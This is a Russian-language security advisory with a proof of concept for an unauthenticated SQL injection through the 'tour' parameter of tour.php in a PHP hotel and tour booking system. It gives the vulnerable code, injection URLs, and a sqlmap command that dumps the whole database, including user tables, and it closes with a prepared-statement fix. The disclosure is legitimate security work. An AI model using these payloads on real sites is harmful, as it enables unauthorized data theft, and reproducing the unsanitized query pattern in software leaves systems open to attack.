
Доказательство концепции неаутентифицированной SQL-инъекции в Hotel and Tourism Reservation System 1.0, демонстрирующее извлечение базы данных через параметр tour.
| Поле | Детали |
|---|
| Название | Система бронирования отелей и туров – SQL-инъекция через GET-параметр tour |
| Поставщик | code-projects.org |
| URL поставщика | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| Продукт | Система бронирования отелей и туров |
| Версия | 1.0 |
| Тип уязвимости | SQL-инъекция |
| CWE | CWE-89 |
| Балл CVSS | 9.8 (Критический) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронутый файл | /ht/tour.php |
| Затронутый параметр | tour (GET) |
| Требуется аутентификация | Нет |
| Удаленная эксплуатация | Да |
| Исследователь | Syed Imad Uddin Alvi |
Критическая уязвимость SQL-инъекции существует в GET-параметре tour файла tour.php в Системе бронирования отелей и туров 1.0. Параметр передаётся напрямую в необработанный SQL-запрос без какой-либо санитизации, подготовленных выражений или проверки ввода. Неаутентифицированный удалённый злоумышленник может манипулировать запросом для извлечения, изменения или удаления любых данных в базе. Уязвимость подтверждена полным дампом базы данных с помощью sqlmap.
Уязвимый код в tour.php:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID берётся напрямую из $_GET['tour'] и интерполируется в SQL-запрос без какой-либо санитизации.
Установка: Установите Систему бронирования отелей и туров 1.0 на XAMPP и получите доступ по адресу http://<target>/ht/
Шаг 1 — Посетите любую страницу тура как неаутентифицированный пользователь:
http://<target>/ht/tour.php?tour=4

Шаг 2 — Вставьте одинарную кавычку, чтобы сломать SQL-запрос и подтвердить уязвимость:
http://<target>/ht/tour.php?tour='
Результат: Выбрасывается фатальная ошибка MySQL — подтверждение того, что несанитизированный ввод достигает SQL-запроса.

Шаг 3 — Подтвердите SQLi с помощью булевой нагрузки:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
Результат: Страница загружается нормально с данными тура — булева инъекция успешна.

Шаг 4 — Сделайте дамп всей базы данных с помощью sqlmap:
sqlmap -r sqli.txt --dump --batch
Результат: sqlmap успешно сбрасывает все таблицы в hotel_db, включая users, rooms, tour_reserves, gallery — подтверждена полная компрометация базы данных.

Неаутентифицированный удалённый злоумышленник может:
INTO OUTFILE, если предоставлены файловые привилегииGET-параметр tour интерполируется напрямую в необработанный SQL-запрос без использования подготовленных выражений, параметризованных запросов или санитизации ввода:
// УЯЗВИМО
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// ИСПРАВЛЕНО — используйте подготовленные выражения
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — независимый исследователь безопасности